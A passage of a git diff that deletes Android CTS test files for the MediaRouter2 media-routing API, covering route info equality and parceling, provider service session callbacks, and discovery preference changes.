-        extras.putString(TEST_KEY, TEST_VALUE);
-
-        MediaRoute2Info routeInfo1 = new MediaRoute2Info.Builder(TEST_ID, TEST_NAME)
-                .addFeature(TEST_ROUTE_TYPE_0)
-                .addFeature(TEST_ROUTE_TYPE_1)
-                .setIconUri(TEST_ICON_URI)
-                .setDescription(TEST_DESCRIPTION)
-                .setConnectionState(TEST_CONNECTION_STATE)
-                .setClientPackageName(TEST_CLIENT_PACKAGE_NAME)
-                .setVolumeHandling(TEST_VOLUME_HANDLING)
-                .setVolumeMax(TEST_VOLUME_MAX)
-                .setVolume(TEST_VOLUME)
-                .setExtras(extras)
-                .build();
-
-        MediaRoute2Info routeInfo2 = new MediaRoute2Info.Builder(routeInfo1).build();
-
-        assertEquals(routeInfo1, routeInfo2);
-        assertEquals(routeInfo1.hashCode(), routeInfo2.hashCode());
-    }
-
-    @Test
-    public void testEqualsReturnFalse() {
-        Bundle extras = new Bundle();
-        extras.putString(TEST_KEY, TEST_VALUE);
-
-        MediaRoute2Info routeInfo = new MediaRoute2Info.Builder(TEST_ID, TEST_NAME)
-                .addFeature(TEST_ROUTE_TYPE_0)
-                .addFeature(TEST_ROUTE_TYPE_1)
-                .setIconUri(TEST_ICON_URI)
-                .setDescription(TEST_DESCRIPTION)
-                .setConnectionState(TEST_CONNECTION_STATE)
-                .setClientPackageName(TEST_CLIENT_PACKAGE_NAME)
-                .setVolumeHandling(TEST_VOLUME_HANDLING)
-                .setVolumeMax(TEST_VOLUME_MAX)
-                .setVolume(TEST_VOLUME)
-                .setExtras(extras)
-                .build();
-
-        // Now, we will use copy constructor
-        assertNotEquals(routeInfo, new MediaRoute2Info.Builder(routeInfo)
-                .addFeature("randomRouteType")
-                .build());
-        assertNotEquals(routeInfo, new MediaRoute2Info.Builder(routeInfo)
-                .setIconUri(Uri.parse("randomUri"))
-                .build());
-        assertNotEquals(routeInfo, new MediaRoute2Info.Builder(routeInfo)
-                .setDescription("randomDescription")
-                .build());
-        assertNotEquals(routeInfo, new MediaRoute2Info.Builder(routeInfo)
-                .setConnectionState(TEST_CONNECTION_STATE + 1)
-                .build());
-        assertNotEquals(routeInfo, new MediaRoute2Info.Builder(routeInfo)
-                .setClientPackageName("randomPackageName")
-                .build());
-        assertNotEquals(routeInfo, new MediaRoute2Info.Builder(routeInfo)
-                .setVolumeHandling(TEST_VOLUME_HANDLING + 1)
-                .build());
-        assertNotEquals(routeInfo, new MediaRoute2Info.Builder(routeInfo)
-                .setVolumeMax(TEST_VOLUME_MAX + 100)
-                .build());
-        assertNotEquals(routeInfo, new MediaRoute2Info.Builder(routeInfo)
-                .setVolume(TEST_VOLUME + 10)
-                .build());
-        // Note: Extras will not affect the equals.
-    }
-
-    @Test
-    public void testParcelingAndUnParceling() {
-        Bundle extras = new Bundle();
-        extras.putString(TEST_KEY, TEST_VALUE);
-
-        MediaRoute2Info routeInfo = new MediaRoute2Info.Builder(TEST_ID, TEST_NAME)
-                .addFeature(TEST_ROUTE_TYPE_0)
-                .addFeature(TEST_ROUTE_TYPE_1)
-                .setIconUri(TEST_ICON_URI)
-                .setDescription(TEST_DESCRIPTION)
-                .setConnectionState(TEST_CONNECTION_STATE)
-                .setClientPackageName(TEST_CLIENT_PACKAGE_NAME)
-                .setVolumeHandling(TEST_VOLUME_HANDLING)
-                .setVolumeMax(TEST_VOLUME_MAX)
-                .setVolume(TEST_VOLUME)
-                .setExtras(extras)
-                .build();
-
-        Parcel parcel = Parcel.obtain();
-        parcel.writeParcelable(routeInfo, 0);
-        parcel.setDataPosition(0);
-
-        MediaRoute2Info routeInfoFromParcel = parcel.readParcelable(null);
-        assertEquals(routeInfo, routeInfoFromParcel);
-        assertEquals(routeInfo.hashCode(), routeInfoFromParcel.hashCode());
-
-        // Check extras
-        Bundle extrasOut = routeInfoFromParcel.getExtras();
-        assertNotNull(extrasOut);
-        assertTrue(extrasOut.containsKey(TEST_KEY));
-        assertEquals(TEST_VALUE, extrasOut.getString(TEST_KEY));
-        parcel.recycle();
-
-        // In order to mark writeToParcel as tested, we let's just call it directly.
-        Parcel dummyParcel = Parcel.obtain();
-        routeInfo.writeToParcel(dummyParcel, 0);
-        dummyParcel.recycle();
-    }
-
-    @Test
-    public void testDescribeContents() {
-        MediaRoute2Info routeInfo = new MediaRoute2Info.Builder(TEST_ID, TEST_NAME)
-                .addFeature(TEST_ROUTE_TYPE_0)
-                .addFeature(TEST_ROUTE_TYPE_1)
-                .setIconUri(TEST_ICON_URI)
-                .setDescription(TEST_DESCRIPTION)
-                .setConnectionState(TEST_CONNECTION_STATE)
-                .setClientPackageName(TEST_CLIENT_PACKAGE_NAME)
-                .setVolumeHandling(TEST_VOLUME_HANDLING)
-                .setVolumeMax(TEST_VOLUME_MAX)
-                .setVolume(TEST_VOLUME)
-                .build();
-        assertEquals(0, routeInfo.describeContents());
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java b/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java
deleted file mode 100644
index 0a75047..0000000
--- a/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java
+++ /dev/null
@@ -1,616 +0,0 @@
-/*
- * Copyright 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static android.media.cts.MediaRouter2Test.releaseControllers;
-import static android.media.cts.StubMediaRoute2ProviderService.FEATURE_SAMPLE;
-import static android.media.cts.StubMediaRoute2ProviderService.FEATURE_SPECIAL;
-import static android.media.cts.StubMediaRoute2ProviderService.ROUTE_ID1;
-import static android.media.cts.StubMediaRoute2ProviderService.ROUTE_ID2;
-import static android.media.cts.StubMediaRoute2ProviderService.ROUTE_ID4_TO_SELECT_AND_DESELECT;
-import static android.media.cts.StubMediaRoute2ProviderService.ROUTE_ID5_TO_TRANSFER_TO;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-
-import android.content.Context;
-import android.media.MediaRoute2Info;
-import android.media.MediaRoute2ProviderService;
-import android.media.MediaRouter2;
-import android.media.MediaRouter2.ControllerCallback;
-import android.media.MediaRouter2.RouteCallback;
-import android.media.MediaRouter2.RoutingController;
-import android.media.MediaRouter2.TransferCallback;
-import android.media.RouteDiscoveryPreference;
-import android.media.RoutingSessionInfo;
-import android.media.cts.StubMediaRoute2ProviderService.Proxy;
-import android.os.Bundle;
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.LargeTest;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.compatibility.common.util.PollingCheck;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.Executor;
-import java.util.concurrent.Executors;
-import java.util.concurrent.TimeUnit;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "The system should be able to bind to StubMediaRoute2ProviderService")
-@LargeTest
-@NonMediaMainlineTest
-public class MediaRoute2ProviderServiceTest {
-    private static final String TAG = "MR2ProviderServiceTest";
-    Context mContext;
-    private MediaRouter2 mRouter2;
-    private Executor mExecutor;
-    private RouteCallback mRouterDummyCallback = new RouteCallback(){};
-    private StubMediaRoute2ProviderService mService;
-
-    private static final int TIMEOUT_MS = 5000;
-
-    private static final String SESSION_ID_1 = "SESSION_ID_1";
-    private static final String SESSION_ID_2 = "SESSION_ID_2";
-
-    // TODO: Merge these TEST_KEY / TEST_VALUE in all files
-    public static final String TEST_KEY = "test_key";
-    public static final String TEST_VALUE = "test_value";
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mRouter2 = MediaRouter2.getInstance(mContext);
-        mExecutor = Executors.newSingleThreadExecutor();
-
-        MediaRouter2TestActivity.startActivity(mContext);
-
-        // In order to make the system bind to the test service,
-        // set a non-empty discovery preference while app is in foreground.
-        List<String> features = new ArrayList<>();
-        features.add("A test feature");
-        RouteDiscoveryPreference preference =
-                new RouteDiscoveryPreference.Builder(features, false).build();
-        mRouter2.registerRouteCallback(mExecutor, mRouterDummyCallback, preference);
-
-        new PollingCheck(TIMEOUT_MS) {
-            @Override
-            protected boolean check() {
-                StubMediaRoute2ProviderService service =
-                        StubMediaRoute2ProviderService.getInstance();
-                if (service != null) {
-                    mService = service;
-                    return true;
-                }
-                return false;
-            }
-        }.run();
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        mRouter2.unregisterRouteCallback(mRouterDummyCallback);
-        MediaRouter2TestActivity.finishActivity();
-        if (mService != null) {
-            mService.clear();
-            mService = null;
-        }
-    }
-
-    @Test
-    public void testGetSessionInfoAndGetAllSessionInfo() {
-        assertEquals(0, mService.getAllSessionInfo().size());
-
-        // Add a session
-        RoutingSessionInfo sessionInfo1 = new RoutingSessionInfo.Builder(
-                SESSION_ID_1, "" /* clientPackageName */)
-                .addSelectedRoute(ROUTE_ID1)
-                .build();
-        mService.notifySessionCreated(MediaRoute2ProviderService.REQUEST_ID_NONE, sessionInfo1);
-        assertEquals(1, mService.getAllSessionInfo().size());
-        assertEquals(sessionInfo1, mService.getAllSessionInfo().get(0));
-        assertEquals(sessionInfo1, mService.getSessionInfo(SESSION_ID_1));
-
-        // Add another session
-        RoutingSessionInfo sessionInfo2 = new RoutingSessionInfo.Builder(
-                SESSION_ID_2, "" /* clientPackageName */)
-                .addSelectedRoute(ROUTE_ID2)
-                .build();
-        mService.notifySessionCreated(
-                MediaRoute2ProviderService.REQUEST_ID_NONE, sessionInfo2);
-        assertEquals(2, mService.getAllSessionInfo().size());
-        assertEquals(sessionInfo2, mService.getSessionInfo(SESSION_ID_2));
-
-        // Remove the first session
-        mService.notifySessionReleased(SESSION_ID_1);
-        assertNull(mService.getSessionInfo(SESSION_ID_1));
-        assertEquals(1, mService.getAllSessionInfo().size());
-        assertEquals(sessionInfo2, mService.getAllSessionInfo().get(0));
-        assertEquals(sessionInfo2, mService.getSessionInfo(SESSION_ID_2));
-
-        // Remove the remaining session
-        mService.notifySessionReleased(SESSION_ID_2);
-        assertEquals(0, mService.getAllSessionInfo().size());
-        assertNull(mService.getSessionInfo(SESSION_ID_2));
-    }
-
-    @Test
-    public void testNotifyRoutesInvokesMediaRouter2RouteCallback() throws Exception {
-        final String routeId0 = "routeId0";
-        final String routeName0 = "routeName0";
-        final String routeId1 = "routeId1";
-        final String routeName1 = "routeName1";
-        final List<String> features = Collections.singletonList("customFeature");
-
-        final List<MediaRoute2Info> routes = new ArrayList<>();
-        routes.add(new MediaRoute2Info.Builder(routeId0, routeName0)
-                .addFeatures(features)
-                .build());
-        routes.add(new MediaRoute2Info.Builder(routeId1, routeName1)
-                .addFeatures(features)
-                .build());
-
-        final int newConnectionState = MediaRoute2Info.CONNECTION_STATE_CONNECTED;
-        CountDownLatch onRoutesAddedLatch = new CountDownLatch(1);
-        CountDownLatch onRoutesChangedLatch = new CountDownLatch(1);
-        CountDownLatch onRoutesRemovedLatch = new CountDownLatch(1);
-        RouteCallback routeCallback = new RouteCallback() {
-            @Override
-            public void onRoutesAdded(List<MediaRoute2Info> routes) {
-                if (!features.equals(routes.get(0).getFeatures())) {
-                    return;
-                }
-                assertEquals(2, routes.size());
-
-                MediaRoute2Info route0;
-                MediaRoute2Info route1;
-                if (routeId0.equals(routes.get(0).getOriginalId())) {
-                    route0 = routes.get(0);
-                    route1 = routes.get(1);
-                } else {
-                    route0 = routes.get(1);
-                    route1 = routes.get(0);
-                }
-
-                assertNotNull(route0);
-                assertEquals(routeId0, route0.getOriginalId());
-                assertEquals(routeName0, route0.getName());
-                assertEquals(features, route0.getFeatures());
-
-                assertNotNull(route1);
-                assertEquals(routeId1, route1.getOriginalId());
-                assertEquals(routeName1, route1.getName());
-                assertEquals(features, route1.getFeatures());
-
-                onRoutesAddedLatch.countDown();
-            }
-
-            @Override
-            public void onRoutesChanged(List<MediaRoute2Info> routes) {
-                if (!features.equals(routes.get(0).getFeatures())) {
-                    return;
-                }
-                assertEquals(1, routes.size());
-                assertEquals(routeId1, routes.get(0).getOriginalId());
-                assertEquals(newConnectionState, routes.get(0).getConnectionState());
-                onRoutesChangedLatch.countDown();
-            }
-
-            @Override
-            public void onRoutesRemoved(List<MediaRoute2Info> routes) {
-                if (!features.equals(routes.get(0).getFeatures())) {
-                    return;
-                }
-                assertEquals(2, routes.size());
-
-                MediaRoute2Info route0;
-                MediaRoute2Info route1;
-                if (routeId0.equals(routes.get(0).getOriginalId())) {
-                    route0 = routes.get(0);
-                    route1 = routes.get(1);
-                } else {
-                    route0 = routes.get(1);
-                    route1 = routes.get(0);
-                }
-
-                assertNotNull(route0);
-                assertEquals(routeId0, route0.getOriginalId());
-                assertEquals(routeName0, route0.getName());
-                assertEquals(features, route0.getFeatures());
-
-                assertNotNull(route1);
-                assertEquals(routeId1, route1.getOriginalId());
-                assertEquals(routeName1, route1.getName());
-                assertEquals(features, route1.getFeatures());
-
-                onRoutesRemovedLatch.countDown();
-            }
-        };
-
-        mRouter2.registerRouteCallback(mExecutor, routeCallback,
-                new RouteDiscoveryPreference.Builder(features, true).build());
-        try {
-            mService.notifyRoutes(routes);
-            assertTrue(onRoutesAddedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            // Change the connection state of route2 in order to invoke onRoutesChanged()
-            MediaRoute2Info newRoute2 = new MediaRoute2Info.Builder(routes.get(1))
-                    .setConnectionState(newConnectionState)
-                    .build();
-            routes.set(1, newRoute2);
-            mService.notifyRoutes(routes);
-            assertTrue(onRoutesChangedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            // Now remove all the routes
-            routes.clear();
-            mService.notifyRoutes(routes);
-            assertTrue(onRoutesRemovedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            mRouter2.unregisterRouteCallback(routeCallback);
-        }
-    }
-
-    @Test
-    public void testSessionRelatedCallbacks() throws Exception {
-        mService.initializeRoutes();
-        mService.publishRoutes();
-
-        List<String> featuresSample = Collections.singletonList(FEATURE_SAMPLE);
-        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(featuresSample);
-        MediaRoute2Info routeToCreateSession = routes.get(ROUTE_ID1);
-        assertNotNull(routeToCreateSession);
-
-        Bundle sessionHints = new Bundle();
-        sessionHints.putString(TEST_KEY, TEST_VALUE);
-        mRouter2.setOnGetControllerHintsListener(route -> sessionHints);
-
-        CountDownLatch onCreateSessionLatch = new CountDownLatch(1);
-        CountDownLatch onReleaseSessionLatch = new CountDownLatch(1);
-        CountDownLatch onSelectRouteLatch = new CountDownLatch(1);
-        CountDownLatch onDeselectRouteLatch = new CountDownLatch(1);
-        CountDownLatch onTransferToRouteLatch = new CountDownLatch(1);
-
-        // Now test all session-related callbacks.
-        setProxy(new Proxy() {
-            @Override
-            public void onCreateSession(long requestId, String packageName, String routeId,
-                    Bundle sessionHints) {
-                assertEquals(mContext.getPackageName(), packageName);
-                assertEquals(ROUTE_ID1, routeId);
-                assertNotNull(sessionHints);
-                assertTrue(sessionHints.containsKey(TEST_KEY));
-                assertEquals(TEST_VALUE, sessionHints.getString(TEST_KEY));
-
-                RoutingSessionInfo info = new RoutingSessionInfo.Builder(
-                        SESSION_ID_1, mContext.getPackageName())
-                        .addSelectedRoute(ROUTE_ID1)
-                        .addSelectableRoute(ROUTE_ID4_TO_SELECT_AND_DESELECT)
-                        .addTransferableRoute(ROUTE_ID5_TO_TRANSFER_TO)
-                        .build();
-                mService.notifySessionCreated(requestId, info);
-                onCreateSessionLatch.countDown();
-            }
-
-            @Override
-            public void onSelectRoute(long requestId, String sessionId, String routeId) {
-                assertEquals(SESSION_ID_1, sessionId);
-                assertEquals(ROUTE_ID4_TO_SELECT_AND_DESELECT, routeId);
-
-                RoutingSessionInfo oldInfo = mService.getSessionInfo(SESSION_ID_1);
-                RoutingSessionInfo newInfo = new RoutingSessionInfo.Builder(oldInfo)
-                        .addSelectedRoute(ROUTE_ID4_TO_SELECT_AND_DESELECT)
-                        .removeSelectableRoute(ROUTE_ID4_TO_SELECT_AND_DESELECT)
-                        .addDeselectableRoute(ROUTE_ID4_TO_SELECT_AND_DESELECT)
-                        .build();
-                mService.notifySessionUpdated(newInfo);
-                onSelectRouteLatch.countDown();
-            }
-
-            @Override
-            public void onDeselectRoute(long requestId, String sessionId, String routeId) {
-                assertEquals(SESSION_ID_1, sessionId);
-                assertEquals(ROUTE_ID4_TO_SELECT_AND_DESELECT, routeId);
-
-                RoutingSessionInfo oldInfo = mService.getSessionInfo(SESSION_ID_1);
-                RoutingSessionInfo newInfo = new RoutingSessionInfo.Builder(oldInfo)
-                        .removeSelectedRoute(ROUTE_ID4_TO_SELECT_AND_DESELECT)
-                        .addSelectableRoute(ROUTE_ID4_TO_SELECT_AND_DESELECT)
-                        .removeDeselectableRoute(ROUTE_ID4_TO_SELECT_AND_DESELECT)
-                        .build();
-                mService.notifySessionUpdated(newInfo);
-                onDeselectRouteLatch.countDown();
-            }
-
-            @Override
-            public void onTransferToRoute(long requestId, String sessionId, String routeId) {
-                assertEquals(SESSION_ID_1, sessionId);
-                assertEquals(ROUTE_ID5_TO_TRANSFER_TO, routeId);
-
-                RoutingSessionInfo oldInfo = mService.getSessionInfo(SESSION_ID_1);
-                RoutingSessionInfo newInfo = new RoutingSessionInfo.Builder(oldInfo)
-                        .clearDeselectableRoutes()
-                        .clearSelectedRoutes()
-                        .clearDeselectableRoutes()
-                        .addSelectedRoute(ROUTE_ID5_TO_TRANSFER_TO)
-                        .build();
-                mService.notifySessionUpdated(newInfo);
-                onTransferToRouteLatch.countDown();
-            }
-
-            @Override
-            public void onReleaseSession(long requestId, String sessionId) {
-                assertEquals(SESSION_ID_1, sessionId);
-                mService.notifySessionReleased(sessionId);
-                onReleaseSessionLatch.countDown();
-            }
-        });
-
-        CountDownLatch onTransferredLatch = new CountDownLatch(1);
-        CountDownLatch onControllerUpdatedForSelectLatch = new CountDownLatch(1);
-        CountDownLatch onControllerUpdatedForDeselectLatch = new CountDownLatch(1);
-        CountDownLatch onControllerUpdatedForTransferLatch = new CountDownLatch(1);
-        List<RoutingController> controllers = new ArrayList<>();
-
-        TransferCallback transferCallback = new TransferCallback() {
-            @Override
-            public void onTransfer(RoutingController oldController,
-                    RoutingController newController) {
-                if (SESSION_ID_1.equals(newController.getOriginalId())) {
-                    assertEquals(mRouter2.getSystemController(), oldController);
-                    controllers.add(newController);
-                    onTransferredLatch.countDown();
-                }
-            }
-        };
-
-        ControllerCallback controllerCallback = new ControllerCallback() {
-            @Override
-            public void onControllerUpdated(RoutingController controller) {
-                List<MediaRoute2Info> selectedRoutes = controller.getSelectedRoutes();
-                if (onControllerUpdatedForSelectLatch.getCount() > 0) {
-                    if (selectedRoutes.size() == 2
-                            && ROUTE_ID4_TO_SELECT_AND_DESELECT.equals(
-                            selectedRoutes.get(1).getOriginalId())) {
-                        onControllerUpdatedForSelectLatch.countDown();
-                    }
-                } else if (onControllerUpdatedForDeselectLatch.getCount() > 0) {
-                    if (selectedRoutes.size() == 1
-                            && ROUTE_ID1.equals(selectedRoutes.get(0).getOriginalId())) {
-                        onControllerUpdatedForDeselectLatch.countDown();
-                    }
-                } else if (onControllerUpdatedForTransferLatch.getCount() > 0) {
-                    if (selectedRoutes.size() == 1
-                            && ROUTE_ID5_TO_TRANSFER_TO.equals(
-                            selectedRoutes.get(0).getOriginalId())) {
-                        onControllerUpdatedForTransferLatch.countDown();
-                    }
-                }
-            }
-        };
-
-        // TODO: Remove this once the MediaRouter2 becomes always connected to the mService.
-        RouteCallback dummyCallback = new RouteCallback() {};
-        try {
-            mRouter2.registerRouteCallback(mExecutor, dummyCallback,
-                    new RouteDiscoveryPreference.Builder(new ArrayList<>(), true).build());
-            mRouter2.registerTransferCallback(mExecutor, transferCallback);
-            mRouter2.registerControllerCallback(mExecutor, controllerCallback);
-
-            mRouter2.transferTo(routeToCreateSession);
-            assertTrue(onCreateSessionLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            assertTrue(onTransferredLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            assertFalse(controllers.isEmpty());
-
-            RoutingController controller = controllers.get(0);
-
-            controller.selectRoute(routes.get(ROUTE_ID4_TO_SELECT_AND_DESELECT));
-            assertTrue(onSelectRouteLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            assertTrue(onControllerUpdatedForSelectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            controller.deselectRoute(routes.get(ROUTE_ID4_TO_SELECT_AND_DESELECT));
-            assertTrue(onDeselectRouteLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            assertTrue(onControllerUpdatedForDeselectLatch.await(
-                    TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            mRouter2.transferTo(routes.get(ROUTE_ID5_TO_TRANSFER_TO));
-            assertTrue(onTransferToRouteLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            assertTrue(onControllerUpdatedForTransferLatch.await(
-                    TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            controller.release();
-            assertTrue(onReleaseSessionLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            mRouter2.unregisterRouteCallback(dummyCallback);
-            mRouter2.unregisterTransferCallback(transferCallback);
-            mRouter2.unregisterControllerCallback(controllerCallback);
-            mRouter2.setOnGetControllerHintsListener(null);
-            releaseControllers(mRouter2.getControllers());
-        }
-    }
-
-    @Test
-    public void testNotifySessionReleased() throws Exception {
-        mService.initializeRoutes();
-        mService.publishRoutes();
-
-        List<String> featuresSample = Collections.singletonList(FEATURE_SAMPLE);
-        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(featuresSample);
-        MediaRoute2Info routeToCreateSession = routes.get(ROUTE_ID1);
-        assertNotNull(routeToCreateSession);
-
-        CountDownLatch onCreateSessionLatch = new CountDownLatch(1);
-        setProxy(new Proxy() {
-            @Override
-            public void onCreateSession(long requestId, String packageName, String routeId,
-                    Bundle sessionHints) {
-                assertEquals(mContext.getPackageName(), packageName);
-                assertEquals(ROUTE_ID1, routeId);
-                assertNull(sessionHints);
-
-                RoutingSessionInfo info = new RoutingSessionInfo.Builder(
-                        SESSION_ID_1, mContext.getPackageName())
-                        .addSelectedRoute(ROUTE_ID1)
-                        .addSelectableRoute(ROUTE_ID4_TO_SELECT_AND_DESELECT)
-                        .addTransferableRoute(ROUTE_ID5_TO_TRANSFER_TO)
-                        .build();
-                mService.notifySessionCreated(requestId, info);
-                onCreateSessionLatch.countDown();
-            }
-        });
-
-
-        CountDownLatch onTransferredLatch = new CountDownLatch(1);
-        CountDownLatch onStoppedLatch = new CountDownLatch(1);
-        List<RoutingController> controllers = new ArrayList<>();
-
-        TransferCallback transferCallback = new TransferCallback() {
-            @Override
-            public void onTransfer(RoutingController oldController,
-                    RoutingController newController) {
-                if (SESSION_ID_1.equals(newController.getOriginalId())) {
-                    assertEquals(mRouter2.getSystemController(), oldController);
-                    controllers.add(newController);
-                    onTransferredLatch.countDown();
-                }
-            }
-            @Override
-            public void onStop(RoutingController controller){
-                if (SESSION_ID_1.equals(controller.getOriginalId())) {
-                    assertTrue(controller.isReleased());
-                    onStoppedLatch.countDown();
-                }
-            }
-        };
-
-        // TODO: Remove this once the MediaRouter2 becomes always connected to the mService.
-        RouteCallback dummyCallback = new RouteCallback() {};
-        try {
-            mRouter2.registerRouteCallback(mExecutor, dummyCallback,
-                    new RouteDiscoveryPreference.Builder(new ArrayList<>(), true).build());
-            mRouter2.registerTransferCallback(mExecutor, transferCallback);
-
-            mRouter2.transferTo(routeToCreateSession);
-            assertTrue(onCreateSessionLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            assertTrue(onTransferredLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            assertFalse(controllers.isEmpty());
-
-            mService.notifySessionReleased(SESSION_ID_1);
-            assertTrue(onStoppedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            mRouter2.unregisterRouteCallback(dummyCallback);
-            mRouter2.unregisterTransferCallback(transferCallback);
-            releaseControllers(mRouter2.getControllers());
-        }
-    }
-
-
-    @Test
-    public void testOnDiscoveryPreferenceChanged() throws Exception {
-        CountDownLatch latch = new CountDownLatch(1);
-        CountDownLatch latch2 = new CountDownLatch(1);
-
-        RouteCallback routeCallback = new RouteCallback() {};
-        RouteCallback routeCallback2 = new RouteCallback() {};
-
-        List<String> featuresSample = Collections.singletonList(FEATURE_SAMPLE);
-        List<String> featuresSpecial = Collections.singletonList(FEATURE_SPECIAL);
-
-        setProxy(new Proxy() {
-            @Override
-            public void onDiscoveryPreferenceChanged(RouteDiscoveryPreference preference) {
-                List<String> features = preference.getPreferredFeatures();
-                if (features.contains(FEATURE_SAMPLE) && features.contains(FEATURE_SPECIAL)
-                        && preference.shouldPerformActiveScan()) {
-                    latch.countDown();
-                }
-                if (latch.getCount() == 0 && !features.contains(FEATURE_SAMPLE)
-                    && features.contains(FEATURE_SPECIAL)) {
-                    latch2.countDown();
-                }
-            }
-        });
-
-        mRouter2.registerRouteCallback(mExecutor, routeCallback,
-                new RouteDiscoveryPreference.Builder(featuresSample, true).build());
-        mRouter2.registerRouteCallback(mExecutor, routeCallback2,
-                new RouteDiscoveryPreference.Builder(featuresSpecial, true).build());
-        try {
-            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            mRouter2.unregisterRouteCallback(routeCallback);
-            assertTrue(latch2.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            mRouter2.unregisterRouteCallback(routeCallback2);
-        }
-    }
-
-    void setProxy(StubMediaRoute2ProviderService.Proxy proxy) {
-        StubMediaRoute2ProviderService service = mService;
-        if (service != null) {
-            service.setProxy(proxy);
-        }
-    }
-
-    Map<String, MediaRoute2Info> waitAndGetRoutes(List<String> features)
-            throws Exception {
-        CountDownLatch latch = new CountDownLatch(1);
-
-        RouteCallback routeCallback = new RouteCallback() {
-            @Override
-            public void onRoutesAdded(List<MediaRoute2Info> routes) {
-                for (MediaRoute2Info route : routes) {
-                    if (!route.isSystemRoute()) {
-                        latch.countDown();
-                    }
-                }
-            }
-        };
-
-        mRouter2.registerRouteCallback(mExecutor, routeCallback,
-                new RouteDiscoveryPreference.Builder(features, true).build());
-        try {
-            latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS);
-            return createRouteMap(mRouter2.getRoutes());
-        } finally {
-            mRouter2.unregisterRouteCallback(routeCallback);
-        }
-    }
-
-    // Helper for getting routes easily. Uses original ID as a key
-    static Map<String, MediaRoute2Info> createRouteMap(List<MediaRoute2Info> routes) {
-        Map<String, MediaRoute2Info> routeMap = new HashMap<>();
-        for (MediaRoute2Info route : routes) {
-            routeMap.put(route.getOriginalId(), route);
-        }
-        return routeMap;
-    }
-
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java b/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
deleted file mode 100644
index b20a294..0000000
--- a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
+++ /dev/null
@@ -1,1136 +0,0 @@
-/*
- * Copyright 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static android.content.Context.AUDIO_SERVICE;
-import static android.media.MediaRoute2Info.FEATURE_LIVE_AUDIO;
-import static android.media.MediaRoute2Info.PLAYBACK_VOLUME_VARIABLE;
-import static android.media.cts.StubMediaRoute2ProviderService.FEATURES_SPECIAL;
-import static android.media.cts.StubMediaRoute2ProviderService.FEATURE_SAMPLE;
-import static android.media.cts.StubMediaRoute2ProviderService.ROUTE_ID1;
-import static android.media.cts.StubMediaRoute2ProviderService.ROUTE_ID2;
-import static android.media.cts.StubMediaRoute2ProviderService.ROUTE_ID3_SESSION_CREATION_FAILED;
-import static android.media.cts.StubMediaRoute2ProviderService.ROUTE_ID4_TO_SELECT_AND_DESELECT;
-import static android.media.cts.StubMediaRoute2ProviderService.ROUTE_ID5_TO_TRANSFER_TO;
-import static android.media.cts.StubMediaRoute2ProviderService.ROUTE_ID_SPECIAL_FEATURE;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertSame;
-import static org.junit.Assert.assertTrue;
-import static org.testng.Assert.assertThrows;
-
-import android.Manifest;
-import android.annotation.NonNull;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.media.AudioManager;
-import android.media.MediaRoute2Info;
-import android.media.MediaRouter2;
